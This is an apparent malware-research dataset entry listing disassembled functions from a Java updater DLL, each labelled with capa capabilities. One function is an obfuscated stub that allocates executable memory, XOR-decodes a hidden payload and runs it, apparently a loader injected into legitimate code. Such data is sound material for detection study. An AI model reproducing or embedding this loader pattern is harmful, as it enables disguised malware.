joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d5bc490
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x90
mov eax, dword [0x6d5e2a5c]
xor eax, esp
mov dword [esp + 0x8c], eax
push esi
xor eax, eax
push 0x7e
push eax
lea ecx, [esp + 0x1a]
push ecx
xor esi, esi
mov word [esp + 0x1c], ax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [esp + 4]
push edx
push 0x20219
push esi
push str.SOFTWAREJavaSoftAuto_Update
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x6d5bc586
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 8]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
push esi
push str.AUVersion
push eax
mov dword [esp + 0x20], 0x40
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x6d5bc556
push 0x40
lea ecx, [esp + 0x14]
push 0x6d5d7acc
push ecx
call dword [sym.imp.MSVCR100.dll_wcsncmp]
add esp, 0xc
test eax, eax
js 0x6d5bc563
mov edx, dword [esp + 4]
push edx
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov ecx, dword [esp + 0x8c]
xor ecx, esp
call fcn.6d5ca6ac
add esp, 0x90
ret
push str.GetRegAUVersion_failed_to_query_key.
call fcn.6d5bb620
add esp, 4
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov ecx, dword [esp + 0x8c]
xor ecx, esp
call fcn.6d5ca6ac
add esp, 0x90
ret
push str.RegOpenKeyEx_failed.
call fcn.6d5bb620
mov ecx, dword [esp + 0x94]
add esp, 4
mov eax, esi
pop esi
xor ecx, esp
call fcn.6d5ca6ac
add esp, 0x90
ret

Function at 0x6d5bc5d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x810
mov eax, dword [0x6d5e2a5c]
xor eax, esp
mov dword [esp + 0x80c], eax
mov eax, dword [esp + 0x814]
push ebx
mov ebx, dword [esp + 0x824]
push ebp
xor ebp, ebp
push esi
mov esi, dword [esp + 0x828]
push edi
mov edi, dword [esp + 0x828]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], ebp
cmp eax, ebp
jne 0x6d5bc640
lea eax, [esp + 0x10]
push eax
push 0x20219
push ebp
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x6d5bc63c
mov ebp, 1
jmp 0x6d5bc644
xor eax, eax
jmp 0x6d5bc6bc
mov dword [esp + 0x10], eax
push ebx
push esi
lea ecx, [esp + 0x20]
push ecx
push 0
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x6d5bc665
mov dword [esp + 0x14], 1
jmp 0x6d5bc6a9
cmp esi, 2
je 0x6d5bc6a9
call dword [sym.imp.kernel32.dll_GetLastError]
xor edx, edx
push 0x7fe
mov ebx, eax
push edx
lea eax, [esp + 0x26]
push eax
mov word [esp + 0x28], dx
call sub.MSVCR100.dll_memset
push ebx
push esi
push edi
lea ecx, [esp + 0x34]
push str.RegQueryValueEx__s_:_Error:_d__ErrorCode:_d_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x3c]
push edx
call fcn.6d5bb620
add esp, 0x24
test ebp, ebp
je 0x6d5bc6b8
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x81c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.6d5ca6ac
add esp, 0x810
ret
Function at 0x6d5bc6e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x1010
call fcn.6d5ca7f0
mov eax, dword [0x6d5e2a5c]
xor eax, esp
mov dword [esp + 0x100c], eax
push ebx
mov ebx, dword [esp + 0x1020]
push ebp
mov ebp, dword [esp + 0x1028]
push esi
mov esi, dword [esp + 0x1020]
push edi
mov edi, dword [esp + 0x1028]
xor eax, eax
push 0x7fe
push eax
lea edx, [esp + 0x26]
xor ecx, ecx
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov word [esp + 0x28], cx
call sub.MSVCR100.dll_memset
add esp, 0xc
test esi, esi
jne 0x6d5bc796
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push str.SoftwareJreMetrics
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x6d5bc76b
mov dword [esp + 0x14], 1
jmp 0x6d5bc79a
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push esi
push edi
lea ecx, [esp + 0x28]
push str.GetJreMetrics_____RegOpenKeyEx__s_:_Error:_d__ErrorCode:_d_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x30]
push edx
call fcn.6d5bb620
add esp, 0x18
jmp 0x6d5bc817
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x10]
push ebp
push ebx
lea eax, [esp + 0x20]
push eax
push 0
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
je 0x6d5bc805
cmp esi, 2
je 0x6d5bc805
call dword [sym.imp.kernel32.dll_GetLastError]
xor edx, edx
push 0x7fe
mov ebx, eax
push edx
lea eax, [esp + 0x826]
push eax
mov word [esp + 0x828], dx
call sub.MSVCR100.dll_memset
push ebx
push esi
push edi
lea ecx, [esp + 0x834]
push str.GetJreMetrics_____RegQueryValueEx__s_:_Error:_d__ErrorCode:_d_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x83c]
push edx
call fcn.6d5bb620
add esp, 0x24
cmp dword [esp + 0x14], 0
je 0x6d5bc817
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x101c]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.6d5ca6ac
add esp, 0x1010
ret
Function at 0x6d5bca80
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push ebp
push esi
xor esi, esi
xor ebp, ebp
push edi
mov edi, dword [esp + 0x20]
mov dword [esp + 0xc], esi
test edx, edx
jne 0x6d5bcb03
test edi, edi
jne 0x6d5bcab9
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push 0x2021f
push edi
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
jmp 0x6d5bcaf4
call fcn.6d5bc490
lea edx, [esp + 0x14]
push edx
test eax, eax
lea eax, [esp + 0x10]
push eax
push 0
push 0x2021f
push 0
push 0
mov dword [esp + 0x2c], esi
push 0
je 0x6d5bcae4
mov ecx, dword [esp + 0x34]
push ecx
jmp 0x6d5bcae9
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [esp + 0xc]
test edx, edx
je 0x6d5bcb5d
mov ebp, 1
jmp 0x6d5bcb07
mov dword [esp + 0xc], edx
test edx, edx
je 0x6d5bcb52
test edi, edi
jne 0x6d5bcb1d
mov ecx, dword [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x6d5bcb47
mov eax, edi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x6d5bcb22
mov ecx, dword [esp + 0x1c]
sub eax, esi
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push edi
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 0xc]
mov esi, eax
neg esi
sbb esi, esi
inc esi
test ebp, ebp
je 0x6d5bcb5d
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebp
pop ecx
ret

Function at 0x6d5bcb70
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
xor esi, esi
cmp eax, esi
je 0x6d5bcb9e
mov edx, dword [esp + 0x18]
push 4
lea ecx, [esp + 0x20]
push ecx
push 4
push esi
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb eax, eax
inc eax
pop esi
add esp, 8
ret
call fcn.6d5bc490
lea ecx, [esp + 0x10]
test eax, eax
je 0x6d5bcbc5
mov edx, dword [esp + 0x14]
lea eax, [esp + 4]
push eax
push ecx
push esi
push 0x2021f
push esi
push esi
push esi
mov dword [esp + 0x20], esi
push edx
jmp 0x6d5bcbdd
lea eax, [esp + 8]
push eax
push ecx
push esi
push 0x2021f
push esi
push esi
push esi
mov dword [esp + 0x24], esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
neg eax
sbb eax, eax
inc eax
cmp eax, esi
je 0x6d5bcc22
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x20]
push edx
push 4
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 0x10]
neg eax
push edx
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
add esp, 8
ret
mov eax, esi
pop esi
add esp, 8
ret
Function at 0x6d5bcc30
Capabilities:
Delete registry value

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
push esi
xor esi, esi
mov dword [esp + 0x10], eax
cmp eax, esi
je 0x6d5bcc58
mov ecx, dword [esp + 0x18]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb eax, eax
inc eax
pop esi
add esp, 8
ret
call fcn.6d5bc490
test eax, eax
lea eax, [esp + 0x10]
je 0x6d5bcc7f
mov ecx, dword [esp + 0x14]
lea edx, [esp + 4]
push edx
push eax
push esi
push 0x2021f
push esi
push esi
push esi
mov dword [esp + 0x20], esi
push ecx
jmp 0x6d5bcc97
lea edx, [esp + 8]
push edx
push eax
push esi
push 0x2021f
push esi
push esi
push esi
mov dword [esp + 0x24], esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
neg eax
sbb eax, eax
inc eax
cmp eax, esi
je 0x6d5bccce
mov ecx, dword [esp + 0x18]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 0x10]
neg eax
push edx
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
add esp, 8
ret
mov eax, esi
pop esi
add esp, 8
ret
Function at 0x6d5bd470
Capabilities:
Delete registry value
Set registry value

Disassembly:
sub esp, 0x20
push ebx
xor ebx, ebx
push 0x20019
push str.Software
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.6d593190
test eax, eax
je 0x6d5bd4c0
mov eax, dword [esp + 0xc]
cmp eax, ebx
je 0x6d5bd4b9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ebx
add esp, 0x20
ret
push ebp
mov ebp, dword [esp + 0x10]
push esi
push 0x2001f
push str.JavaSoft
push ebp
lea ecx, [esp + 0x2c]
call fcn.6d593190
test eax, eax
je 0x6d5bd4ff
mov eax, dword [esp + 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x6d5bd4ef
push eax
call esi
cmp ebp, ebx
je 0x6d5bd4f6
push ebp
call esi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret
mov esi, dword [esp + 0x34]
cmp esi, ebx
jne 0x6d5bd559
mov eax, dword [esp + 0x30]
mov esi, dword [esp + 0x20]
push eax
push esi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x20]
push ecx
push ebx
push ebx
lea edx, [esp + 0x28]
push edx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x6d5bd578
cmp dword [esp + 0xc], ebx
jne 0x6d5bd578
cmp dword [esp + 0x10], ebx
jne 0x6d5bd578
push str.JavaSoft
lea ecx, [esp + 0x18]
call fcn.6d5930e0
jmp 0x6d5bd578
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
mov ecx, dword [esp + 0x30]
inc eax
add eax, eax
push eax
push esi
mov esi, dword [esp + 0x28]
push 1
push ebx
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
je 0x6d5bd586
push esi
call edi
cmp ebp, ebx
je 0x6d5bd58d
push ebp
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x20
ret
Function at 0x6d5bddb0
Capabilities:
Delete registry value
Set registry value

Disassembly:
call fcn.6d5bc490
test eax, eax
je 0x6d5bddbe
jmp fcn.6d5bca80
mov dword [esp + 8], str.SOFTWAREJavaSoftJava_UpdatePolicy
jmp fcn.6d5bca80

Function at 0x6d5bddd0
Capabilities:
Set registry value

Disassembly:
call fcn.6d5bc490
test eax, eax
je 0x6d5bddde
jmp fcn.6d5bcb70
mov dword [esp + 8], str.SOFTWAREJavaSoftJava_UpdatePolicy
jmp fcn.6d5bcb70

Function at 0x6d5be4f0
Capabilities:
Delete file
Delete registry value
Query or enumerate registry key

Disassembly:
sub esp, 0x80c
mov eax, dword [0x6d5e2a5c]
xor eax, esp
mov dword [esp + 0x808], eax
push ebp
push esi
push edi
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
push str.LocalFileName
xor esi, esi
push esi
mov dword [esp + 0x1c], 0x400
call fcn.6d5bc5d0
mov edi, dword [sym.imp.kernel32.dll_DeleteFileW]
add esp, 0x10
test eax, eax
je 0x6d5be540
cmp dword [esp + 0xc], esi
je 0x6d5be540
lea edx, [esp + 0x14]
push edx
call edi
lea eax, [esp + 0x14]
push eax
call fcn.6d5bdce0
add esp, 4
test eax, eax
je 0x6d5be568
lea ecx, [esp + 0x14]
push ecx
mov edx, ecx
push edx
call fcn.6d5bc020
add esp, 8
lea eax, [esp + 0x14]
push eax
call edi
call fcn.6d5bac50
call fcn.6d5bc490
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x6d5be5b2
lea ecx, [esp + 0x10]
push ecx
push 0x2021f
push esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x24], esi
call edi
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x6d5be5ec
push str.PreDownldStatus
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 0x10]
push edx
jmp 0x6d5be5e6
lea eax, [esp + 0xc]
push eax
push 0x2021f
push esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x20], esi
call edi
mov eax, dword [esp + 0xc]
cmp eax, esi
je 0x6d5be5ec
push str.PreDownldStatus
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x400
lea edx, [esp + 0x18]
push edx
push esi
push SysStringLen
xor ebp, ebp
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
jne 0x6d5be698
push ebx
lea ecx, [ecx]
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
lea ecx, [esp + 0x24]
push ecx
push SysStringLen
inc ebp
mov dword [esp + 0x24], esi
call edi
cmp eax, esi
jne 0x6d5be679
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 0x2021f
push esi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push eax
mov ebx, eax
mov dword [esp + 0x28], esi
call edi
cmp eax, esi
jne 0x6d5be66e
mov esi, dword [esp + 0x14]
push str.VersionXmlURL
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test esi, esi
je 0x6d5be66c
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
cmp ebx, esi
je 0x6d5be679
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x400
lea eax, [esp + 0x1c]
push eax
push ebp
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
je 0x6d5be610
pop ebx
mov ecx, dword [esp + 0x814]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.6d5ca6ac
add esp, 0x80c
ret
Function at 0x6d5be6b0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ecx
push esi
push str.SunJavaUpdateShutdownEvent
push 0
push 0x1f0003
call dword [sym.imp.kernel32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x6d5be6d8
push esi
call dword [sym.imp.kernel32.dll_SetEvent]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [esp + 0xc], 0
pop esi
je 0x6d5be72b
call fcn.6d5be4f0
call fcn.6d5bada0
call fcn.6d5ba9d0
test eax, eax
je 0x6d5be72b
lea eax, [esp]
push eax
push 0x2021f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x6d5be72b
mov ecx, dword [esp]
push str.SunJavaUpdateSched
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret
Function at 0x6d5c9650
Capabilities:
Log keystrokes via application hook

Disassembly:
mov eax, 0x202c
call fcn.6d5ca7f0
mov eax, dword [0x6d5e2a5c]
xor eax, esp
mov dword [esp + 0x2028], eax
push ebx
push ebp
xor eax, eax
push esi
mov esi, dword [esp + 0x203c]
push edi
mov edi, dword [sym.imp.kernel32.dll_GetModuleHandleW]
push 0x800
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x3c]
push eax
push 0x82
xor ebp, ebp
push 0x6d5cec6c
mov dword [esp + 0x20], ebp
call edi
mov ebx, dword [sym.imp.USER32.dll_LoadStringW]
push eax
call ebx
push 0x800
lea ecx, [esp + 0x103c]
push ecx
push 0x8b
push 0x6d5cec6c
call edi
push eax
call ebx
lea edx, [esp + 0x38]
lea eax, [esp + 0x1038]
push 0x6d5cec6c
mov dword [esp + 0x14], 0x28
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], 0x12083
mov dword [esp + 0x2c], 0x3ec
call edi
mov dword [esp + 0x18], eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
push ebp
push 0x6d5c95f0
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
lea ecx, [esp + 0x10]
push ecx
mov dword [0x6d5e2ff4], eax
mov dword [0x6d5e2ff8], ebp
call fcn.6d5ca1c9
mov edx, dword [0x6d5e2ff4]
push edx
mov edi, eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [esi], 2
mov dword [esi + 4], ebp
mov dword [esi + 0x18], ebp
cmp edi, 6
jne 0x6d5c9768
mov dword [esi], 1
jmp 0x6d5c9775
xor eax, eax
cmp edi, 2
sete al
add eax, 2
mov dword [esi], eax
mov eax, esi
cmp dword [0x6d5e2ff8], ebp
je 0x6d5c9786
mov dword [esi + 4], 1
mov ecx, dword [esp + 0x2038]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.6d5ca6ac
add esp, 0x202c
ret 4
Function at 0x6d5c9b50
Capabilities:
Create directory
Query environment variable

Disassembly:
push esi
push 0x21a
call dword [sym.imp.MSVCR100.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x6d5c9b67
pop esi
ret
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
push edi
push 0x21a
push esi
push ebx
call ebp
mov edi, eax
test edi, edi
jne 0x6d5c9ba2
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xcb
jne 0x6d5c9bd9
push esi
call dword [sym.imp.MSVCR100.dll_free]
add esp, 4
lea eax, [edi + 1]
pop edi
pop ebp
pop ebx
pop esi
ret
cmp edi, 0x104
jbe 0x6d5c9bd9
lea eax, [edi + edi + 0x12]
push eax
push esi
call dword [sym.imp.MSVCR100.dll_realloc]
mov esi, eax
add esp, 8
test esi, esi
je 0x6d5c9bd2
push edi
push esi
push ebx
call ebp
test eax, eax
jne 0x6d5c9bd9
push esi
call dword [sym.imp.MSVCR100.dll_free]
add esp, 4
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
ret
lea eax, [esi - 2]
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x6d5c9be0
mov ecx, dword [str.JavaLow]
mov dword [eax], ecx
mov edx, dword [0x6d5d91cc]
mov dword [eax + 4], edx
mov ecx, dword [0x6d5d91d0]
mov dword [eax + 8], ecx
mov edx, dword [0x6d5d91d4]
mov dword [eax + 0xc], edx
mov cx, word [0x6d5d91d8]
push 0
push esi
mov word [eax + 0x10], cx
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push esi
call fcn.6d5c9ad0
push esi
call dword [sym.imp.MSVCR100.dll_free]
add esp, 8
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
ret

Function at 0x6d5c9c50
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 0xc]
push 0
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
ret 0x10
Function at 0x6d5c9f00
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
push esi
or eax, 0xffffffff
push 0x100000
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
xor esi, esi
push edx
mov dword [esp + 0x1c], 0xc
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], 1
call dword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
je 0x6d5c9f94
mov eax, dword [esp + 4]
cdq
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x1c], edx
cdq
push edi
mov edi, dword [esp + 0x30]
mov dword [esp + 0x24], eax
mov eax, dword [edi]
push 2
mov dword [esp + 0x2c], edx
mov ecx, dword [eax + 0x2d0]
push edi
call ecx
mov esi, eax
test esi, esi
je 0x6d5c9f8c
mov edx, dword [edi]
mov ecx, dword [edx + 0x350]
lea eax, [esp + 0x1c]
push eax
push 2
push 0
push esi
push edi
call ecx
mov eax, esi
pop edi
pop esi
add esp, 0x24
ret 8
mov eax, esi
pop esi
add esp, 0x24
ret 8

Function at 0x6d5c9fa0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0x18]
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi]
mov ecx, dword [eax + 0x398]
push edi
push ebx
push esi
call ecx
mov edx, dword [esi]
push ebx
mov edi, eax
mov eax, dword [edx + 0x39c]
push esi
call eax
mov dword [esp + 0x10], 0
test edi, edi
jne 0x6d5c9fda
pop edi
pop esi
or eax, 0xffffffff
pop ebx
ret 0x14
mov edx, dword [esp + 0x18]
push 0
lea ecx, [esp + 0x14]
push ecx
push eax
push edi
push edx
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
mov eax, 0xfffffffe
je 0x6d5c9ffb
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
ret 0x14

Function at 0x6d5ca010
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x398]
call eax
mov dword [esp + 4], 0
test eax, eax
jne 0x6d5ca036
or eax, 0xffffffff
ret 0x18
push esi
mov esi, dword [esp + 0x1c]
test esi, esi
jne 0x6d5ca046
lea eax, [esi - 2]
pop esi
ret 0x18
push edi
mov edi, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x10]
push ecx
push esi
push eax
push edi
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x6d5ca069
pop edi
mov eax, 0xfffffffd
pop esi
ret 0x18
push edi
call dword [sym.imp.kernel32.dll_FlushFileBuffers]
mov eax, esi
sub eax, dword [esp + 0xc]
pop edi
neg eax
sbb eax, eax
and eax, 0xfffffffc
pop esi
ret 0x18
Function at 0x6d5ca1c9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x6d5ca1d8
pop dword [ebp - 0x18]
mov eax, 0x833b6b01
add eax, 0xea2136d7
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xcfb9b966
sub dword [ebp - 0x28], 0x8167741b
mov dword [ebp - 0x24], 0x1cfe8a
add dword [ebp - 0x24], 0x32164dbb
mov dword [ebp - 0x20], 0x8f84b884
sub dword [ebp - 0x20], 0x43387456
mov dword [ebp - 0x1c], 0x93ae7e39
sub dword [ebp - 0x1c], 0x93ae7e39
lea eax, [ebp - 0x28]
push eax
mov eax, 0x2ad01001
add eax, 0x428cc07b
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x740c89ba
add dword [ebp - 0x28], 0x65df9c
mov dword [ebp - 0x24], 0x42fda58e
add dword [ebp - 0x24], 0xfe6ebbe7
mov dword [ebp - 0x20], 0xe36e913b
sub dword [ebp - 0x20], 0x7fff24cf
mov dword [ebp - 0x1c], 0x95714b7e
sub dword [ebp - 0x1c], 0x95714b7e
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x38ff0
push 0
call eax
mov ecx, 0x3d5ce25b
add ecx, 0xc2a36446
mov edx, eax
mov edi, 0x106dfd9a
sub edi, 0xa30dd59a
add edi, dword [ebp - 0x18]
mov esi, 0xfb5111d7
add esi, 0x139e4b4c
add dword [ebp - 0x14], ecx
mov ebx, dword [edi]
mov dword [ebp - 0xc], 0x15903317
xor ebx, esi
sub dword [ebp - 0x10], 0xa0bc4f81
mov dword [edx], ebx
mov dword [ebp - 4], 0xb8179043
add edx, 0xd60f80d8
sub edx, 0xd60f80d4
add edi, 4
loop 0x6d5ca2f5
add eax, 0x45f1942f
sub eax, 0x45f086d8
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6d590000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x6d5ca6ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d5e2a5c]
jne 0x6d5ca6b6
repz ret
jmp fcn.6d5cadc2